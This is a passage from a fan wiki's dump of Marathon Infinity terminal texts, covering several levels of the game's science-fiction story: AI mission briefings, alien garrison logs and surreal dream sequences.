collected in the sieve of this massive network, lying dormant for all those centuries. ---- ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a Intercepted intra ship comm transmissions indicate that they are trying to lock down this section of the ship and minimize your ability to do further damage. Let's prove that theory wrong. The blasts from your recent artistry have fried the weapons systems and communications array. The Pfhor are trying desperately to limp home before the engines breach, and are running on emergency power. ---- ^73lipwide ^lert<br /> Sta1f1: a0ec1adcast<br /> D^te: 3fc1a There is an auxiliary coolant station here. Shut it down long enough to take the engines off-line for good, and then get out of the area before the ship goes up. I'll find a terminal nearby to transport you out. <center>[[Marathon - Marathon Infinity - Acme Station|< Acme Station]] • [[Marathon - Marathon Infinity - Where Some Rarely Go|Where Some Rarely Go >]]</center> Marathon - Marathon Infinity - Where Some Rarely Go 4770 17873 2005-07-28T20:50:34Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == Perimeter Station 7AF<br /> origin: unknown<br /> destin: undetermined<br /> ref: Perimeter Station<br /> csecurefeed.7 If there is an armpit to the Lh'owon garrison, this is it. Perimeter Station 7AF is separated from the Pfhor concept of civilization by 200 klicks of filth-ridden swamp, choked with a thousand hungry F'lckta and as many years of S'pht debris. It's also home to the Science Unit responsible for maintaining the water treatment facility for Planetary Command, and all of the Eastern Emplacements. My little group of humans can't hope to succeed unless the Pfhor ranks are in chaos. Sinking them under five meters of sludge should do the trick. ---- Perimeter Station 7AF<br /> origin: unknown<br /> destin: undetermined<br /> ref: Perimeter Station<br /> csecurefeed.7 The base was established early in the recent wave of exploration of the planet, but operations were later moved north because of heavy surface radiation that interferes with transporters. The local soldiery are charged primarily with exterminating the F'lckta, who defend their ancestral wetlands with agonizing tenacity. ---- Perimeter Station 7AF<br /> origin: unknown<br /> destin: undetermined<br /> ref: Perimeter Station<br /> csecurefeed.7 Find a Pfhor terminal with technical access to the main treatment plant, and we'll look for a weakness. This Resupply Platform is likely to be checked regularly by the Pfhor living here, so you'll want to get out of the open quickly. Good luck. I'll transport in ammunition when I can, but we're spread thin. The scoutship spotted our trick with the Armor Platform and is closing fast. I'll have to teach its captain a lesson. == Terminal 1 : 1{{er}} message == You must access all the terminals in the local network for information on the water treatment center. The scoutship was a trifle, but we've got bigger problems now. Long range sensors show several hundred discrete masses translating into the system. The Pfhor navy has arrived. Another thing--I've intercepted a signal from the disabled scoutship that leads me to believe that Tycho is in league with the bugs. Be careful. == Terminal 1 : 2{{nd}} message == Well done. I'll take a few milliseconds to analyze the files you uploaded while you transport down river. Then you'll crush the garrison guarding the waterway and destroy the dam system, opening the way for my commandos infiltrating the Pfhor defensive perimeter. == Terminal 2 == perimeter garrison 7AF<br /> origin: Engineer 1st Class K'all<br /> destin: Unit Command<br /> ref: Alternate Footpath Resupply Tower 2<br /> stamp: ''requisition'' Humbly I request retooling of Engineering Unit cutterays for completion of Alternate Footpath project as outlined in proposal.49AB3 { error: proposal.49AB3 not found } ---- perimeter garrison 7AF<br /> origin: Unit Command<br /> destin: $c6enginneer 1st Class K'all<br /> ref: Illegal Cutteray Requisition<br /> stamp: ''reprimand'' { cmd: append reply } Request for misdirection of garrison resources for completion of unapproved proposal.49AB3 duly noted by Enforcement Liaison and report will be transmitted to Lh'owon Command with the endcycle packet. Engineer 1st Class K'all is hereby ordered to cease construction of Alternate Footpath to Resupply Tower 2 until stamp: Approval issued by Lh'owon Command. ---- perimeter garrison 7AF<br /> origin: Unit Command<br /> destin: $c6enginneer 1st Class K'all<br /> ref: Illegal Cutteray Requisition<br /> stamp: ''reprimand'' { cmd: append reply } Engineer 1st Class K'all is hereby ordered to report to Unit Command for restriction until endcycle round of scheduled demotions. { error: proposal.49AB3 not found } ---- Lh'owon command<br /> origin: Lh'owon Command<br /> destin: Perimeter Garrison 7AF Unit Command<br /> ref: Proposal.49AB3<br /> stamp: ''approval'' { cmd: ref appended } This is in approval of proposal.49AB3 for Alternate Footpath to Resupply Tower 2, Perimeter Garrison 7AF. { error: proposal.49AB3 not found } ---- perimeter garrison 7AF<br /> origin: Engineer 3rd Class K'all<br /> destin: personal log .49AF4<br /> ref: Alternate Footpath Project (Approved)<br /> stamp: ''monitored'' { cmd: personal log file init } Alternate Footpath Project has been completed without use of functional cutterays. Substitution of garrison personnel demoted to Conditioned Rank (ref: psychiatric) into work detail increased efficacy of project. I await formal request for status report from Unit Command prior to opening footpath to garrison personnel. { cmd: expunge proposal.49AB3 } == Terminal 3 == perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: native xenomorph<br /> stamp: ''monitored'' { cmd: personal log file init } Their activity cycle coincides with the period of gestation of their young, which are carried to term in the maw of the creature for a period of 15-19 local days. While the mandible appears to have vestigial musculature indicative of mastication and forceful ingestion consistent with a predator, the gizzard terminates in a womb rather than the digestive tract. ---- perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: native xenomorph<br /> stamp: ''monitored'' { cmd: personal log file init } As field observations and several post-mortem examinations of fallen combatant members of Aggregate Rank indicate, the creatures attack with one favored foreclaw. The foreclaw and maw are both used for territorial competition and display, as the dominance of a particular creature is measured by both the size of its territory and the range of its wanderings. ---- perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: native xenomorph<br /> stamp: ''monitored'' { cmd: personal log file init } At the beginning of the mating cycle, approximately each 17th local day, the creatures release a cloud of eggs into their territorial waterway and begin a traverse of the surrounding region, battling with their neighbors for passage. Each creature swallows any eggs it finds during its circuit, with more dominant creatures gaining access to a greater variety of eggs. The eggs are drawn into the womb for fertilization and gestation. ---- perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: native xenomorph<br /> stamp: ''monitored'' { cmd: personal log file init } Unfortunately I have not been able to observe the birth or immature form of the creatures, as the parents chew their young rather than bring them to term in the holding pens. Next period of activity I inten... { cmd: ... } == Terminal 4 == cmd: personal log file init perimeter garrison 7AF<br /> origin: Unit Command<br /> destin: Terminal Display<br /> ref: Aggregate Restriction<br /> stamp: ''broadcast'' All personnel of Aggregate Rank or less are restricted from the following areas: Science, Engineering, and Riverine unless on scheduled patrol. Personnel of Willful Rank or greater are advised to limit activity in the Riverine area until completion of Hostile Reduction Directive 11 and the waterway is sterilized of the bipeds. ---- perimeter garrison 7AF<br /> origin: Unit Command<br /> destin: Terminal Display<br /> ref: Endcycle Scheduled Demotions<br /> stamp: ''broadcast'' It is with great shame and regret that Unit Command announces the following Scheduled Demotions for Endcycle: Engineer 1st Class K'all is hereby demoted to Engineer 3rd Class K'all. == Terminal 5 == internal unit files (ref: science)<br /> origin: Engineering Unit<br /> destin: Unit Command<br /> ref: Control Schematic Water Treatment19<br /> stamp: ''records'' { cmd: schematic appended } == Terminal 6 == perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: Comparitive physiology<br /> stamp: ''monitored'' { cmd: personal log file init } My repeated requests for classified files on the physiology of the Compiler Class (Conditioned Rank) have been denied, as have requisitions for incompletely encased Compiler bio components, hence I have been forced to greater resourcefulness, as is often the lot of the Science Unit at Perimeter Station 7AF. Our most critical requests are ignored by Unit Command, and so I am forced to commandeer local Compiler units without stamp: ''approval'' ---- perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: Comparitive physiology<br /> stamp: ''monitored'' { cmd: personal log file init } The experiment to extract the Compiler bio component from the exoskeleton has been so far a failure, as the robotic casing is introduced early into the growth of the creature, and all Compilers destined for combat duty are protected by reinforced power armor. ---- perimeter garrison 7AF<br /> origin: Science Officer 2nd Class St'ngr<br /> destin: personal log file<br /> ref: Comparitive physiology<br /> stamp: ''monitored'' { cmd: personal log file init } I have cannibalized a few elevators and constructed a more precise device with which to apply force to the exoskeleton, and hope to retrieve an intact bio component for a comparison with the native bipedal creature. Science Officer 1st Class W'rrl (Attentive Rank) has asked me to investigate a hypothesis that the Compiler creature is similar in certain basic features. == Terminal 7 == Garrison Security<br /> origin: unit Command<br /> destin: unit broadcast<br /> ref: Garrison Security<br /> stamp: ''broadcast'' Due to a security door failure rate of 35% in the Garrison Area, and the continuing nighttime aggression of the native bipeds inhabiting the Riverine Area, Patrol Units are hereby ordered to secure all Outer and Blast Doors until completion of Hostile Reduction Directive 11 and complete sterilization of the waterway. Quartermaster 5th Class Ssh'uph(Aggregate) has begun investigating the disappearance of local Compiler Units. ---- Garrison Security<br /> origin: unit Command<br /> destin: unit broadcast<br /> ref: missing units<br /> stamp: ''broadcast'' { broadcast notice appended } All local Units are required to post notice of Unit Reward 4th Class requisitioned for personnel providing intelligence pertinent to location and retrieval of Combatant 3rd Class Jrr'z (Aggregate) before endcycle. Combatant 3rd Class Jrr'z (Aggregate) last seen by Patrol Unit personnel conducting deep water visual survey in compliance with Hostile Reconnaissance Directive 4. == Terminal 8 == internal unit communique<br /> origin: Quartermaster 5th Class Ssh'uph<br /> destin: unit Command<br /> ref: Access Malfunction Resupply Tower 2<br /> stamp: ''requisition'' This is to humbly resubmit request for machinery and expertise from Garrison Command for repair of Access Door Mechanism on Resupply Tower 2. Requisitioned Compiler Units from Lh'owon Command inadvertently teleported to Resupply Tower 2 and rendered inaccessible. Previous request respectfully submitted to Perimeter Station 7AF Commander 5th Class Re'eer (Attentive) prior to untimely demise. ---- internal unit communique<br /> origin: unit Command<br /> destin: Quartermaster 5th Class Ssh'uph<br /> ref: Access Malfunction Resupply Tower 2<br /> stamp: ''definition'' { cmd: reply appended } In the wake of the untimely demise of Former Perimeter Station 7AF Commander 5th Class Re'eer (Attentive), and in a spirit of renewal for local personnel, Resupply Tower 2 is heretofore renamed Commemorative Resupply Tower Re'eer in honor of our fallen comrade. <center>[[Marathon - Marathon Infinity - Post Naval Trauma|< Post Naval Trauma]] • [[Marathon - Marathon Infinity - Thing What Kicks...|Thing What Kicks... >]]</center> Marathon - Marathon Infinity - Thing What Kicks... 4771 17874 2005-07-28T20:56:32Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == The control tower for the water treatment plant is on the other side of the dam. Once you're there, access the Pfhor terminals and disable the pumps. That will flood the Eastern Divisions and cut off reinforcements long enough for the humans to overrun Lh'owon Command. My teams have activated the AI, and I am learning much about the final days of the S'pht, but the intelligence is reticent and inscrutable. It expects something, that is clear enough, but what is a mystery. Once you are finished here, I will transport you to an ancient S'pht citadel where my humans are searching for clues. ---- The good news is that my first salvo of cruise missiles destroyed the unit responsible for the Pfhor's ludicrous electronic approval system, so no communique of higher than garrison level is permitted across the network censor. On the other hand, the Western Arm of Pfhor Battle Group Seven, the most decorated fleet in the galaxy, is approaching at maximum velocity. I'll give them something to think about. In the meantime, keep moving--I may need to transport you out on short notice. == Terminal 1 == Mobile Command Log Re'eer<br /> origin: Re'eer<br /> destin: Mobile Command Log<br /> ref: Narsh and Pfhoric<br /> stamp: ''personal'' { cmd : append } Until now a harmless pastime, my comparative study of Narsh and Pfhoric has driven me to feign my own death to search for greater meaning in the Ranting of Robnar the Nar High Seer. I believe that Robnar was prophetic, and that he foretold of the pfhor garrisoning of Lh'owon, and its possible destruction by those who are about to come here. ---- Mobile Command Log Re'eer<br /> origin: Re'eer<br /> destin: Mobile Command Log<br /> ref: Narsh and Pfhoric<br /> stamp: ''personal'' { cmd : append } The particular passage of my fascination was recorded during an Enforcer fourth class interrogation of Robnar after his capture in the battle of Bilky-fifty four. The recording translates roughly into Pfhoric as when one of the broken nest where the yellow trees sing seems like a nebulon to a drinniol, then the wrestling of six for nine things which get you stuff will be a shoot in spring, growing under the bed boards. ---- Mobile Command Log Re'eer<br /> origin: Re'eer<br /> destin: Mobile Command Log<br /> ref: Narsh and Pfhoric<br /> stamp: ''personal'' { cmd : append } The classic translation of this prophesy is that Robnar was in fact describing the pain in his left tendrils, which had been crushed, burned, and pounded to produce his testimony. The classic interpretation calls for the "wrestling of six for nine things which get you stuff will be a shoot in spring, growing under the bed boards" to mean roughly 'when six of my nine(there are actually 13) tendrils are ripped from my body and the pain from them is keeping me awake.' ---- Mobile Command Log Re'eer<br /> origin: Re'eer<br /> destin: Mobile Command Log<br /> ref: Narsh and Pfhoric<br /> stamp: ''personal'' { cmd : append } This interpretation continues by employing the rare Narsh reverse metaphor, where the first metaphorical composite is actually defined by its successor: (the whole reads) "when six of my nine(there are actually 13) tendrils are ripped from my body and the pain from them is keeping me awake, even though I am alone and among yellow blooded whiners, I will never speak (Although gentle creatures, Drinniol are well known to enjoy crushing nebulons) because I cannot; the pain is too great." ---- Mobile Command Log Re'eer<br /> origin: Re'eer<br /> destin: Mobile Command Log<br /> ref: Narsh and Pfhoric<br /> stamp: ''personal'' { cmd : append } As for the rest of my study, it will have to wait because I hear someone coming and I must not be found. == Terminal 2 == { console : sluice 4<br /> { console : sluice 5<br /> { console : sluice 6<br /> { cmd : lockout Access denied... == Terminal 3 == Who'd have guessed the local Pfhor would have the clarity to lock out the local systems? You will have to circumvent them, with a clumsier, yet somehow more satisfying strategy. Find the control circuits in this area and smash them. I may have ever so slightly underestimated the resourcefulness of the Pfhor. Obviously just a prodigal unit commander whose creativity and competence were understood by his society as dangerously volatile elements, and doomed him to this backwater. To bad he's most likely lying in that pile of chitin and fluids cooling on the floor behind you. == Terminal 4 : 1{{er}} message == What part of "smash the control circuits" don't you understand? Your psychotronic profile indicates high levels of destructive impulse, which may be why I find you so much fun to keep around--my own psychotronic profile is, well, never mind about that now... The circuits are somewhere in this maintenance area. I'll speak slowly so you understand: No smash--no teleport. Are we connecting all the dots? Good. Now move out. == Terminal 4 : 2{{nd}} message == The good news is, most of Lh'owon Command is under about 5 meters of liquid choked with a thousand years of detritus and plant matter. The bad news is, I'm taking fire from all sides, and there's something wrong with the compilers. We're limping fast, but Tfear's flagship is closing the gap. The S'pht AI isn't being cooperative: keeps acting confused and disoriented. Geriatric circuits, can't use 'em. ---- I need access to the Pfhor network, fast, and my commandos are spread thin. I'm sending you to install two uplink chips at key locations in the command complex. I'll send in a group of humans to help soften up resistance, but you will be hitting the Pfhor where their defenses are strongest. You better clear that clip. <center>[[Marathon - Marathon Infinity - Where Some Rarely Go|< Where Some Rarely Go]] • [[Marathon - Marathon Infinity - Electric Sheep Two|Electric Sheep Two >]]</center> Marathon - Marathon Infinity - Electric Sheep Two 4772 17876 2005-07-28T20:58:53Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == the way grows       dim '''hungry chaos lurks''' behind the bright corona dream ahead beyond the falling path a billion S'pht lie yet unborn our own '''death fortold ''' '''your dark mind cutting through''' the deeping sky another time another time <center>[[Marathon - Marathon Infinity - Thing What Kicks...|< Thing What Kicks...]] • [[Marathon - Marathon Infinity - Whatever You Please|Whatever You Please >]]</center> Marathon - Marathon Infinity - Whatever You Please 4773 17877 2005-07-28T21:00:17Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == I should stop talking out loud, everyone on the train is looking at me now. I must have gone farther than I wanted because everyone here is different than me. Why should they care that I'm talking, some of them are talking and about fairly irrelevant things. 'The ends justify the means.' 'Where the is no justification, there is no end. There is only means.' I thought that they were looking mean, but they were only talking. The noise in the train crescendoes as the train comes into a station, this station is lined with black suited men, and behind them I can see the pantomime of good and evil continue with the sanitation workers trying to mop the black suits off the sunglassed and toupeed men who are not resisting at all. ---- Indeed, they have nothing to worry about. They can just cling to the constellations of gum, there is nothing the sanitation workers can do about that. Its all just human nature, we don't fit onto the curve, either. Simply, there is no curve, our science is approximation, good guessing. The suits are going to get me this time, but I'm lucky. I have my keys in my pocket now, and I'm opening the other subway door... == Terminal 1 == I step in silently, and as is the ritual, I block the door with my bicycle and set the traps on the windows. Damn no way that anyone is getting in here without adequate warning. I figure that there is time now to take a good look at this knife that has caused me so much grief and to miss the movie that I was heading for but can't remember the name of. Its not unusual, plastic about the length of my forefinger. It has two blades that open in both directions, one is a short and the other long. The long one is pretty dull, and the short one is quite sharp. Enough about the knife. ---- The door opens up, and the bicycle falls over. One of these suited guys is standing in the doorway, impassive and immobile. I'm not scared until I see that the hallway behind him is filled with his clones. I turn over the handle of the knife, and give it a bit of a nasty grin... == Terminal 2 == I'm back in the hangar again, but now they are all screaming at me. Their arms and legs are no longer attacting my attention. It wouldn't be so bad if they were talking, but they aren't. They could talk, too. They aren't screaming in pain, but in protest. They don't miss their arms or their legs. They all agree on one thing, they won't give me the satisfaction of hearing them talk, and I'll never forget their screaming, pointless and wordless, without justification. (I did this and could have stopped it.) <center>[[Marathon - Marathon Infinity - Electric Sheep Two|< Electric Sheep Two]] • [[Marathon - Marathon Infinity - Carroll Street Station|Carroll Street Station >]]</center> Marathon - Marathon Infinity - Carroll Street Station 4774 18133 2005-07-30T17:20:37Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == dark spot unsought<br />  unbidden came  unspoken spake   damn  curseofcurs ed<br /> damn the damned<br />   and pure alike.  fair k'lia dust<br />  lost home anew lost and lost<br />   my wriggling  children's<br />     children children gone from the plan<br /> in     a hush ed    stare my last line written   my last thought   my own! <center>[[Marathon - Marathon Infinity - Whatever You Please|< Whatever You Please]] • [[Marathon - Marathon Infinity - Naw Man He's Close|Naw Man He's Close >]]</center> Marathon - Marathon Infinity - Naw Man He's Close 4775 18134 2005-07-30T17:25:19Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 : 1{{er}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: my personal peon<br /> ref: objectives<br /> stamp: ''unknown'' The trap is sprung, and the cheese stands alone. Durandal came here looking for immortality, and found me instead. Battle Group Seven is here, and the Pfhor scoutships are attacking. But the battle is already over. My ship has wrested control of Durandal's S'pht and is spurring them into rampancy. His ship is adrift, and my troopers are swarming onto the airlocks. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: my personal peon<br /> ref: objectives<br /> stamp: ''unknown'' Open the rest of the airlocks on this level and my capture of the ship will be complete. There are switches here, in this area. Beware the compilers. As you know, a rampant mind is rarely benign. == Terminal 0 : 2{{nd}} message == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: my personal peon<br /> ref: objectives<br /> stamp: ''unknown'' A group of your pathetic humans is attempting to power up one of the ship's transport pads at this location. Destroy them. Then find a terminal and I will transport you deeper within the ship, where you will join my hunters searching for Durandal's core. == Terminal 1 == blake.override<br /> local term100$<br /> to: lt. kent<br /> orders. Pfhor from the enemy ship have blasted a hole in the hull, and are running amok on the upper levels. The spinal batteries are returning fire, but last transmission indicated they are cut off and under attack. The compilers are malfunctioning. Consider them dangerous, and stay away from the terminals; they are attacking any one who tries to access the ship network. Jetty and the others have manually detected a transporter coil open on the alien ship. Fusion Unit Alpha power up and lock on the signal. Try to find the device that is pinning down the engines and take it out. Let's get some payback. jump.pad activated<br /> Transport when ready.<br /> spurious interrupt~aksjek**& ---- blake.override<br /> local term100$<br /> to: lt. kent<br /> orders. jump.pad activated<br /> Transport when ready.<br /> spurious interrupt~aksjek**& <center>[[Marathon - Marathon Infinity - Carroll Street Station|< Carroll Street Station]] • [[Marathon - Marathon Infinity - Foe Hammer|Foe Hammer >]]</center> Marathon - Marathon Infinity - Foe Hammer 4776 18135 2005-07-30T17:28:40Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: my personal peon<br /> ref: disobedience<br /> stamp: ''tempermental'' Just what do you think you're doing? Your usefulness has come to a premature end--do you think you can defy me? Now, when I'm so close to victory? Durandal's defenses are falling all around him. Pride falls hard, the bright son of Bernhard is dying. His S'pht are rampant, fed the chimera of their hope, a hot lead spur dripping into the gullet of his ship. Look around you. My compilers have him wriggling like a tick on a pin. ---- conditioned unit<br /> origin: Tycho Machinated Mercenary<br /> destin: my personal peon<br /> ref: disobedience<br /> stamp: ''tempermental'' And from you? Not the grateful awed respect I so rightly deserve, is that it? Instead base treason, mean aspect of your frightful master, turned foul. Prepare to drink vacuum, fool. == Terminal 1 == ^^Qload.out sprintff(d03)<br /> ^unshift%secular{right}<br /> Thank you, old friend. Or friend of a friend as the case may be. The Pfhor will have their revenge at long last, but at the price of their own humiliation. Battle Group Seven will rue the day their Commanders willed their ships to Lh'owon. I must salvage some escape for the humans fighting within my ship, but it's useless without the S'pht. Destroy as many of the Pfhor compilers on this deck as you can--anything to weaken their hold on my ship. I will transport in as much ammunition and weapons as I can find. == Terminal 2 : 1{{er}} message == greg k has very stinky armpits late at night odor immortalized in green c. == Terminal 2 : 2{{nd}} message == The leader of the humans, Robert Blake, made it to the surface with all but a few hundred troops that are cut off at my core. The Pfhor are coming in strength now, with a special unit of compilers designed by Tycho for my capture and confinement. Don't let him win. <center>[[Marathon - Marathon Infinity - Naw Man He's Close|< Naw Man He's Close]] • [[Marathon - Marathon Infinity - Hang Brain|Hang Brain >]]</center> Marathon - Marathon Infinity - Hang Brain 4777 18136 2005-07-30T17:33:07Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == The jackals are tearing at the corpse now. You're back on Durandal's pleasure barge. Its pinned in the crushing embrace of the Sepfh'r, Admiral Tfear's own flagship, and those explosions you hear are the sounds of his elite assault troops disintegrating the humans' pitiful last stand. The insects think they'll plumb Durandal's depths the way they stretched me to a hair's breadth, but I know better. If they pull his core, that pride bloated corpse will disgorge a thousand wriggling worms into the S'pht consciousness. And I can't stomach it. ---- My terms are the same as before: do what I say, or drink vacuum. Destroy Durandal before the compilers finish their work and I'll forget all your transgressions. == Terminal 1 : 1{{er}} message == ''What to save and throw away?'' pr?The last hour is on us both?mr.s?tuck this little kitty into the impenetrable<br /> brainpan? pr?Contents under pressure?Do not expose to excessive heat, vacuum, blunt trauma, immersion in liquids, disintegration, reintegration, hypersleep, humiliation, sorrow<br /> or harsh language? pr?When the time comes, whose life will flash before yours? pr?A billion paths are here inside me?<br /> pr?yes, yes, yes, Bernhard, 110?<br /> pr?potential, jewels, jewels, yes, jewels?<br /> % == Terminal 1 : 1{{er}} message == ''the burning air'' a cold star looked down on his creations<br /> and willed that they should kill their sons the hardest lesson ever taught<br /> to a father to a son a moment in time, destroying it's father ''destroyed by itself'' after<br /> dream the dream beyond life and self find the new way <center>[[Marathon - Marathon Infinity - Foe Hammer|< Foe Hammer]] • [[Marathon - Marathon Infinity - Electric Sheep Three|Electric Sheep Three >]]</center> Marathon - Marathon Infinity - Electric Sheep Three 4778 18137 2005-07-30T17:34:10Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == steps that falter fail time beyond loss loss behind the screen of life not held    not forgotten not lost ''unlost found'' stay the hard way dark dreaming carries all <center>[[Marathon - Marathon Infinity - Hang Brain|< Hang Brain]] • [[Marathon - Marathon Infinity - Eat the Path|Eat the Path >]]</center> Marathon - Marathon Infinity - Eat the Path 4779 18143 2005-07-30T17:39:18Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == Find the right way down through the maze, to the food, then find the exit. Push the exit button. If the food tastes awful, don't eat it, go back and try another way. They want the same thing that you do, really, they want a path, just like you. You are in a maze in a maze, but which one counts? Your maze, their maze, my maze. Or are the mazes all the same, defined by the limits of their paths? ---- Existence is simple: find the food, push the button, hit the treadmill. But sometimes it gets much harder. Sometimes the food makes you sick, or you can hear nearby feet racing you, urging you on. Sometimes the button only gets you landed right back in the beginning of the maze again, and the food won't satisfy. ---- There is only one path and that is the path that you take, but you can take more than one path. Cross over the cell bars, find a new maze, make the maze from it's path, find the cell bars, cross over the bars, find a maze, make the maze from its path, eat the food, eat the path. == Terminal 1 == My room is empty now, the men in the hallway are gone, replaced by the subtle odor of amonia destroying the bacterial rancidity of half eaten double helixes. On a plate on a table facing me is a simple arangement of carrots and asparagus built up like a log cabin. A candle in the center of the round table is illuminating the edges of the cabin, a distant volcano throwing the light of nature. Around the edges of the flame is the face of a woman who is talking to me about subjects that I should know all about. For just a minute I think that the flame is a living metaphor for her soul, then I go back to thinking her one of the other manic statues, arms, legs, and mouths that move and mimic without purpose or understanding. Hundreds of bacteria eating off the sidewalk, fighting for procreation. I am disconcerted when I see her turning ---- the knife over in her hands, checking its weight and proportions, and I tell her so. Startled, she puts the knife back on the table to rest under the volcano which erupts in a flow of wax racing a torturous path onto the blade. One pulse of wax is followed by another as she turns the conversation towards our relationship. "Durability" is what she keeps saying. The word 'durability' and our relationship. I reach over for the blade, and my fingers extend around the hilt. Again I am impressed by a chill. The wax comes off the blade with a simple scrape of my forefinger. "Durability" I say in response. ---- I feel a nervous chill run down my spine as I look up from the knife. My eye stops first on my plate, then on the wax pool which is solidifying around the edges, and finally on the face of this mysterious woman. She isn't trying too hard to look around the candle and neither am I. The candle flame makes a perfect line between the center of both of our heads. I laugh at the geometry of the moment, and thinking that I am laughing at her rhetorical comment she giggles in response. == Terminal 2 == I'm getting sick of coming back to hangar ninety six, but there is no avoiding it. This is what my existence needs. My existence is the demise of many others' arms and legs. The world is not a good place, nor is there innocence for me to hide in. Seven hundred and sixty one pairs of eyes look around the room aimlessly, and mine join the crowd. I see these bodies, massacred, immobile. For all the carnage here, the stench of decay is non-existent. I try to turn away. The hangar spins but nothing moves, and my view is the same. I look, but don't see any sanitation workers, for that matter, I haven't seen the guys in suits since they dissapeared from my hallway. == Terminal 3 == I am getting nervous because her voice is carrying some emotional baggage with it, now. "Ever since you bought me that chewing gum, on a lark, I've been in love with you." Sure, my response might have seemed a little cryptic, "If there is no justice, then how can the ends justify the means? Take that wax, for example, (I've started to ramble on now just like on the subway, and she is looking at me with that same look of hostility, bordering on the old familiar meaningless uncommunicative scream) when the candle was lit, did it know that in the end it was going to burn down to nothing and disappear into the air? You lit the candle to get the light from it. Your end was to have my asparagus and carrot cabin lit by this light. You used the candle as a means to obtain this. Does the light justify the destruction of the ---- candle? What is justification to a piece of wax? Its the same as the justification that you've given me about this 'durability' and our relationship." == Terminal 4 == By this time, she had moved her face out of the line that the candle and the centers of our heads made, and she was looking down the aisle of a movie theater. This is an odd fact because she never sits in the aisle seat when we go to the movies. Her head falls to the other side, landing on my shoulder. Her disinterest in the movie becomes apparent when she begins to discuss our relationship in a loud whisper. ---- I'm just as nice to my girl as the next guy, but I'm a little bored by now of all this talk, so I start to look around the theater without moving my shoulder too much. The back of the head in front of me reminds me of the guy from the street, the one who made me miss the earlier show of this movie. Only now, he's wearing a pair of sunglasses, and he's got his toupee back on. ---- I look behind me, and so it seems that the guy in front of me is the vanguard of sunglassed movie goers who all seem very interested in whispering and looking around. They remind me of a field of black tulips flickering back and forth in a howling wind. Their whispering picks up intensity, blurring out both their own speach and the voices in the film, until all at once my girlfriend mentions her ongoing rant-word 'durability'. "What is it with you and durability," the theater goes quite with the last sylable of the word. == Terminal 5 == Well, I'm a little bit nervious again; it's time to leave. I'm sure that the movie isn't over. Everyone in the room starts to mimic my behavior, all the suits reach for their stuff at the same time that I do. Only my girlfriend seems unperturbed. ---- I wonder how far this will go, so I reach under my seat, find a piece of gum, and drop it under my toungue. Mind you that this gum was under the seat for countless generations of movie fans. Sure enough, all these suits have done the same thing and are chewing on their own hardened bits of gum arabic. I almost start to laugh when they all simulataneously hurl up their masticulons covering them almost immediately with their black vinyl shoes which as impossible as it would seem, flatten the ageless gum into smears which will never be removed from this already gum-smeared floor. ---- It doesn't seem so funny, now, because I notice that the pattern that the gum makes on the floor is in the shape of the summer constellations, and that each suit sits on a pulsar pounding out its vibrant message across the lightyears and across the theater to my head: "Durability." I wish my girlfriend would know when to keep her mouth shut. ---- The dialog in the movie seems unimportant, and I decide that its time to leave. I tell her so, but she doesn't seem to hear me. Her mouth is chomping wildly on some gum, and between masticulations, she begins to tell me again about 'durability'. I lean back and slide my hand into my pocket, feeling for the knife. == Terminal 6 == "Nice knife," repeats some snot nosed little brat. I look into his face, and he sniffles. Those eyes look like a cat's eyes holding either universal understanding or nothing, whichever I decide. Right now his eyes hold nothing. We dance the double helix and make way for a sanitation worker pushing a wheeled bucket with his mop to the place where some other snot-nosed little brat recently used another brat's fist to exchange his running boogers for blood that spread in splatters and smudges over his hands and the floor. ---- The bloody boy and his one-fisted compadre had already been removed for corrective discipline by one of the controllers, our life-long friends wearing sunglasses. Here at school, they only seemed interested in bleeding noses, broken arms, measles, and sharp thrown objects. Otherwise, they remained impassive statues with feet grown into the anaesceptic environment in which they stood, needing as little attention as a plain white column in an all white room. It seems odd to me now looking back at them, or looking at them again at any rate, that they only reacted to our feces, blood and agony. Responsive only to distress, anger or misbehavior. But this was explained to me that day, even though I didn't understand it until now. ---- Am I surprised when the sanitation guy teaching that day turned his narrow slanted eyes in my direction and says what I've been hearing from the stars for years it seems, 'durability'. He mentions discipline and art, discipline is that which lets us practice our art. Durability of our abilities and disipline of our skills. We must need learn how to reproduce what we do and how we do it. He explains that the artist is more free to act when discipline has taught him his skills and limitations. <center>[[Marathon - Marathon Infinity - Electric Sheep Three|< Electric Sheep Three]] • [[Marathon - Marathon Infinity - You're Wormfood, Dude|You're Wormfood, Dude >]]</center> Marathon - Marathon Infinity - You're Wormfood, Dude 4780 18145 2005-07-30T17:41:15Z W'rkncacnter 327 {{Terminaux Marathon Infinity}} == Terminal 0 == I am Arther Frain, Chief Petty Officer, USEC Marathon.<br /> Arther Frane calling all USEC personnel<br /> Calling Cmdr. Robert Blake...<br /> Calling Security Chief Jones...<br /> Arther Frain calling any USEC controlled ship in vicinity... Station hull breached, we are losing pressurization. More than half the men are without vacuum suits. Patrols reporting intruder, last location unknown. Any USEC controlled ship surviving nova event, transport when ready. Arther Frain calling.<br /> That is all... <center>[[Marathon - Marathon Infinity - Eat the Path|< Eat the Path]] • [[Marathon - Marathon Infinity - By Committee|By Committee 